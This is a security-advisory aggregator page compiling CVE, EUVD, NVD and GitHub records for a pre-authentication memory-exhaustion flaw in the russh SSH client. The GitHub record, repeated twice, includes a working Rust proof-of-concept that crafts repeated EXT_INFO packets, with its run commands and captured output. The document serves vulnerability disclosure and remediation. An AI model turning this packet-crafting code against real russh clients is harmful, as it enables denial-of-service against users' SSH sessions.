Public mode

No access to your tenant or devices. Every item links to its source. What this means

Customize Public modeDiscuss ChangeIntel on Discord

russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets

CVSS 3.1 4.3 MEDIUMEUVD CVSS 3.1 4.3 CVSS 3.1 · [email protected] · Secondary 4.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by russh 0.65KEV status unknown

cve-program · CVE-2026-116773

Published

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Read the publisher's advisory

euvd · EUVD-2026-111388

Published

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Read the publisher's advisory

nvd · CVE-2026-116773

Published

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Read the publisher's advisory

osv · GHSA-4p9f-7p9m-5vfg

Published

### Summary **All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.** Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (`Session::process_packet` handling `handle_ext_info`) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution. russh's client stores every extension name it parses out of an `EXT_INFO` packet into a per-session vector and never clears, caps, or deduplicates it (`russh/src/client/encrypted.rs:433`, field declared at `russh/src/session.rs:60`). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts `EXT_INFO` in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes `EXT_INFO` as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it. ### Details The handler appends every parsed extension name to the session state with no bound: ```text russh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627) enc.received_extensions.push(name.clone()); // no cap, no dedup russh/src/session.rs:60 pub received_extensions: Vec<String>, // lives for the whole session ``` The state machine routes `EXT_INFO` to this handler in both the `WaitingAuthServiceRequest` and `WaitingAuthRequest` states (`encrypted.rs:111`, `encrypted.rs:401`), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant `msg::EXT_INFO = 7` (`russh/src/msg.rs:32`, in place since 2022), while RFC 8308 assigns `EXT_INFO` the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected. ### Proof of concept The harness constructs a real client `Session` in the `WaitingAuthRequest` pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine `Session::process_packet` dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of `USERAUTH_BANNER` bodies, which parse and dispatch without retention. The test below is added to the russh source tree as `russh/src/client/extinfo_poc.rs`, with two lines added to `russh/src/client/mod.rs` next to the existing test module declarations: ```rust #[cfg(test)] mod extinfo_poc; ``` ```rust cat > russh/src/client/extinfo_poc.rs <<'EOF' //! PoC: unbounded pre-auth client memory growth //! via repeated EXT_INFO packets (`received_extensions` accumulates without //! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info). //! //! Drives the REAL client packet parser (Session::process_packet -> //! handle_ext_info) with attacker-supplied packet bodies over an unmodified //! client session in the pre-auth state (WaitingAuthRequest). Measuring //! allocator totals proves the growth is persistent and unbounded across //! packets. Control leg: equal traffic of IGNORE packets. //! //! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture use std::alloc::{GlobalAlloc, Layout, System}; use std::collections::HashMap; use std::num::Wrapping; use std::sync::atomic::{AtomicU64, Ordering}; use std::sync::Arc; use tokio::sync::mpsc::{channel, unbounded_channel}; use super::*; use crate::auth::{AuthRequest, Method}; use crate::compression::{Compression, Decompress}; use crate::kex::{KEXES, NONE}; use crate::msg; use crate::session::{CommonSession, Encrypted, EncryptedState, Exchange}; use crate::sshbuffer::PacketWriter; use crate::{cipher, CryptoVec, mac}; static LIVE: AtomicU64 = AtomicU64::new(0); struct Counting; unsafe impl GlobalAlloc for Counting { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { let p = System.alloc(layout); if !p.is_null() { LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst); } p } unsafe fn dealloc(&self, p: *mut u8, layout: Layout) { LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst); System.dealloc(p, layout) } } #[global_allocator] static POC_ALLOC: Counting = Counting; fn live_mb() -> f64 { LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0) } struct PocHandler; impl Handler for PocHandler { type Error = crate::Error; async fn check_server_key( &mut self, _: &PublicKeyOrCertificate, ) -> Result<bool, Self::Error> { Ok(true) } } fn poc_session() -> Session { let config = Arc::new(Config::default()); let (sender, receiver) = channel(config.channel_buffer_size); let (reply_sender, _reply_receiver) = unbounded_channel(); let auth_request = AuthRequest::new(&Method::KeyboardInteractive { submethods: String::new(), }); Session::new( config.window_size, CommonSession { auth_user: "victimuser".to_owned(), auth_attempts: 0, auth_method: Some(Method::KeyboardInteractive { submethods: String::new(), }), remote_to_local: Box::new(cipher::clear::Key), encrypted: Some(Encrypted { state: EncryptedState::WaitingAuthRequest(auth_request), exchange: Some(Exchange::default()), kex: KEXES.get(&NONE).unwrap().make(), key: 0, client_mac: mac::NONE, server_mac: mac::NONE, session_id: CryptoVec::new(), channels: HashMap::new(), last_channel_id: Wrapping(0), write: Vec::new(), write_cursor: 0, last_rekey: russh_util::time::Instant::now(), server_compression: Compression::None, client_compression: Compression::None, decompress: Decompress::None, rekey_wanted: false, received_extensions: Vec::new(), extension_info_awaiters: HashMap::new(), }), config, wants_reply: false, disconnected: false, buffer: Vec::new(), strict_kex: false, alive_timeouts: 0, received_data: false, remote_sshid: b"SSH-2.0-auditpeer".to_vec(), packet_writer: PacketWriter::clear(), }, receiver, reply_sender, ) } /// EXT_INFO packet body (russh msg number 7): u32 count, then per extension /// a name string plus a data blob. Minimal entry = name "x" (5 B) + data /// empty (4 B) = 9 wire bytes. fn ext_info_body(entries: usize) -> Vec<u8> { let mut b = vec![msg::EXT_INFO]; b.extend_from_slice(&(entries as u32).to_be_bytes()); for _ in 0..entries { b.extend_from_slice(&1u32.to_be_bytes()); b.push(b'x'); b.extend_from_slice(&0u32.to_be_bytes()); } b } #[tokio::test] async fn ext_info_reception_grows_memory_without_bound() { let mut handler = PocHandler; // ---- control leg: equal packet volume of USERAUTH_BANNER ---- // (IGNORE is a hard disconnect in this state; banners parse and are // forwarded to the handler without retention) let mut session = poc_session(); let banner_body = { let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size let mut b = vec![msg::USERAUTH_BANNER]; b.extend_from_slice(&(data_len as u32).to_be_bytes()); b.resize(1 + 4 + data_len, b'b'); b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag b }; let c0 = live_mb(); for _ in 0..400 { session .process_packet(&mut handler, &banner_body) .await .expect("control packet"); } let control_delta = live_mb() - c0; // ---- attack leg: 400 EXT_INFO packets, 3000 entries each ---- let mut session = poc_session(); let body = ext_info_body(3000); // ~27 KB per packet let a0 = live_mb(); for i in 0..400 { session .process_packet(&mut handler, &body) .await .expect("ext_info packet"); if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 { let n = session .common .encrypted .as_ref() .map(|e| e.received_extensions.len()) .unwrap_or(0); println!( "EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB", i + 1, n, live_mb() - a0 + c0 // keep numbers comparable per-process ); } } let attack_delta = live_mb() - a0; let n = session .common .encrypted .as_ref() .map(|e| e.received_extensions.len()) .unwrap_or(0); println!( "CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB", banner_body.len() / 1024, control_delta ); println!( "ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB", n, attack_delta ); println!( "amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)", attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64), body.len() / 1024 ); assert_eq!( n, 1_200_000, "every parsed extension name was retained, none were dropped" ); if attack_delta > 10.0 { println!( "VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth", attack_delta, control_delta ); } else { println!( "VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold", attack_delta ); } } EOF cargo test -p russh --lib extinfo_poc --release -- --nocapture ``` Captured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted): ``` $ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture Compiling russh v0.64.1 Finished `release` profile [optimized] target(s) in 1m 26s Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe) running 1 test EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth) VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s ``` Output interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict. ### Impact Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of `received_extensions` (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the `EXT_INFO` message number with RFC 8308 (82) so the handler is unreachable by accident.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-116773

Published

russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Source published
27 Oct 2026 20:23:25 UTC
Source modified
30 Oct 2026 15:17:49 UTC
Saved here
30 Oct 2026 16:45:26 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

euvd · EUVD-2026-111388

Published

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's privat…

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 27, 2026, 8:23:25 PM

dateUpdated: Oct 30, 2026, 3:17:49 PM

1 related source bulletins · separate from aliases

RHSA-2026:93904: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-111061 · CVE-2026-116696 · CVE-2026-116773 · CVE-2026-116774 · CVE-2026-116794

Source published
Oct 27, 2026, 8:23:25 PM (timezone not stated)
Source modified
Oct 30, 2026, 3:17:49 PM (timezone not stated)
Saved here
14 Nov 2026 04:05:52 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

nvd · CVE-2026-116773

Published

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's privat…

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, the client Session::process_packet path in russh/src/client/encrypted.rs accepts repeated packets encoded with russh's private msg::EXT_INFO = 7 before authentication, while the standards-compliant EXT_INFO message number 82 does not reach the affected handler. The handle_ext_info function appends every parsed extension name to received_extensions without clearing, deduplicating, or bounding the vector. A malicious SSH server that deliberately sends private message number 7 can therefore retain an unbounded number of attacker-controlled extension names for the session lifetime, causing progressive client memory exhaustion. This issue is fixed in version 0.65.0.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-770

Original publisher date fields

published: 2026-10-27T21:18:05.780

lastModified: 2026-10-30T16:17:41.327

Source published
27 Oct 2026 21:18:05 UTC
Source modified
30 Oct 2026 16:17:41 UTC
Saved here
30 Oct 2026 23:47:40 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

osv · GHSA-4p9f-7p9m-5vfg

Published

russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets

### Summary **All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.** Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (`Session::process_packet` handling `handle_ext_info`) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution. russh's client stores every extension name it parses out of an `EXT_INFO` packet into a per-session vector and never clears, caps, or deduplicates it (`russh/src/client/encrypted.rs:433`, field declared at `russh/src/session.rs:60`). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts `EXT_INFO` in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes `EXT_INFO` as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it. ### Details The handler appends every parsed extension name to the session state with no bound: ```text russh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627) enc.received_extensions.push(name.clone()); // no cap, no dedup russh/src/session.rs:60 pub received_extensions: Vec<String>, // lives for the whole session ``` The state machine routes `EXT_INFO` to this handler in both the `WaitingAuthServiceRequest` and `WaitingAuthRequest` states (`encrypted.rs:111`, `encrypted.rs:401`), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant `msg::EXT_INFO = 7` (`russh/src/msg.rs:32`, in place since 2022), while RFC 8308 assigns `EXT_INFO` the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected. ### Proof of concept The harness constructs a real client `Session` in the `WaitingAuthRequest` pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine `Session::process_packet` dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of `USERAUTH_BANNER` bodies, which parse and dispatch without retention. The test below is added to the russh source tree as `russh/src/client/extinfo_poc.rs`, with two lines added to `russh/src/client/mod.rs` next to the existing test module declarations: ```rust #[cfg(test)] mod extinfo_poc; ``` ```rust cat > russh/src/client/extinfo_poc.rs <<'EOF' //! PoC: unbounded pre-auth client memory growth //! via repeated EXT_INFO packets (`received_extensions` accumulates without //! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info). //! //! Drives the REAL client packet parser (Session::process_packet -> //! handle_ext_info) with attacker-supplied packet bodies over an unmodified //! client session in the pre-auth state (WaitingAuthRequest). Measuring //! allocator totals proves the growth is persistent and unbounded across //! packets. Control leg: equal traffic of IGNORE packets. //! //! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture use std::alloc::{GlobalAlloc, Layout, System}; use std::collections::HashMap; use std::num::Wrapping; use std::sync::atomic::{AtomicU64, Ordering}; use std::sync::Arc; use tokio::sync::mpsc::{channel, unbounded_channel}; use super::*; use crate::auth::{AuthRequest, Method}; use crate::compression::{Compression, Decompress}; use crate::kex::{KEXES, NONE}; use crate::msg; use crate::session::{CommonSession, Encrypted, EncryptedState, Exchange}; use crate::sshbuffer::PacketWriter; use crate::{cipher, CryptoVec, mac}; static LIVE: AtomicU64 = AtomicU64::new(0); struct Counting; unsafe impl GlobalAlloc for Counting { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { let p = System.alloc(layout); if !p.is_null() { LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst); } p } unsafe fn dealloc(&self, p: *mut u8, layout: Layout) { LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst); System.dealloc(p, layout) } } #[global_allocator] static POC_ALLOC: Counting = Counting; fn live_mb() -> f64 { LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0) } struct PocHandler; impl Handler for PocHandler { type Error = crate::Error; async fn check_server_key( &mut self, _: &PublicKeyOrCertificate, ) -> Result<bool, Self::Error> { Ok(true) } } fn poc_session() -> Session { let config = Arc::new(Config::default()); let (sender, receiver) = channel(config.channel_buffer_size); let (reply_sender, _reply_receiver) = unbounded_channel(); let auth_request = AuthRequest::new(&Method::KeyboardInteractive { submethods: String::new(), }); Session::new( config.window_size, CommonSession { auth_user: "victimuser".to_owned(), auth_attempts: 0, auth_method: Some(Method::KeyboardInteractive { submethods: String::new(), }), remote_to_local: Box::new(cipher::clear::Key), encrypted: Some(Encrypted { state: EncryptedState::WaitingAuthRequest(auth_request), exchange: Some(Exchange::default()), kex: KEXES.get(&NONE).unwrap().make(), key: 0, client_mac: mac::NONE, server_mac: mac::NONE, session_id: CryptoVec::new(), channels: HashMap::new(), last_channel_id: Wrapping(0), write: Vec::new(), write_cursor: 0, last_rekey: russh_util::time::Instant::now(), server_compression: Compression::None, client_compression: Compression::None, decompress: Decompress::None, rekey_wanted: false, received_extensions: Vec::new(), extension_info_awaiters: HashMap::new(), }), config, wants_reply: false, disconnected: false, buffer: Vec::new(), strict_kex: false, alive_timeouts: 0, received_data: false, remote_sshid: b"SSH-2.0-auditpeer".to_vec(), packet_writer: PacketWriter::clear(), }, receiver, reply_sender, ) } /// EXT_INFO packet body (russh msg number 7): u32 count, then per extension /// a name string plus a data blob. Minimal entry = name "x" (5 B) + data /// empty (4 B) = 9 wire bytes. fn ext_info_body(entries: usize) -> Vec<u8> { let mut b = vec![msg::EXT_INFO]; b.extend_from_slice(&(entries as u32).to_be_bytes()); for _ in 0..entries { b.extend_from_slice(&1u32.to_be_bytes()); b.push(b'x'); b.extend_from_slice(&0u32.to_be_bytes()); } b } #[tokio::test] async fn ext_info_reception_grows_memory_without_bound() { let mut handler = PocHandler; // ---- control leg: equal packet volume of USERAUTH_BANNER ---- // (IGNORE is a hard disconnect in this state; banners parse and are // forwarded to the handler without retention) let mut session = poc_session(); let banner_body = { let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size let mut b = vec![msg::USERAUTH_BANNER]; b.extend_from_slice(&(data_len as u32).to_be_bytes()); b.resize(1 + 4 + data_len, b'b'); b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag b }; let c0 = live_mb(); for _ in 0..400 { session .process_packet(&mut handler, &banner_body) .await .expect("control packet"); } let control_delta = live_mb() - c0; // ---- attack leg: 400 EXT_INFO packets, 3000 entries each ---- let mut session = poc_session(); let body = ext_info_body(3000); // ~27 KB per packet let a0 = live_mb(); for i in 0..400 { session .process_packet(&mut handler, &body) .await .expect("ext_info packet"); if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 { let n = session .common .encrypted .as_ref() .map(|e| e.received_extensions.len()) .unwrap_or(0); println!( "EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB", i + 1, n, live_mb() - a0 + c0 // keep numbers comparable per-process ); } } let attack_delta = live_mb() - a0; let n = session .common .encrypted .as_ref() .map(|e| e.received_extensions.len()) .unwrap_or(0); println!( "CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB", banner_body.len() / 1024, control_delta ); println!( "ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB", n, attack_delta ); println!( "amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)", attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64), body.len() / 1024 ); assert_eq!( n, 1_200_000, "every parsed extension name was retained, none were dropped" ); if attack_delta > 10.0 { println!( "VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth", attack_delta, control_delta ); } else { println!( "VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold", attack_delta ); } } EOF cargo test -p russh --lib extinfo_poc --release -- --nocapture ``` Captured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted): ``` $ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture Compiling russh v0.64.1 Finished `release` profile [optimized] target(s) in 1m 26s Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe) running 1 test EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth) VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s ``` Output interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict. ### Impact Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of `received_extensions` (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the `EXT_INFO` message number with RFC 8308 (82) so the handler is unreachable by accident.

Source published
30 Oct 2026 22:58:39 UTC
Source modified
30 Oct 2026 23:15:07 UTC
Saved here
30 Oct 2026 23:47:35 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 18:02 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current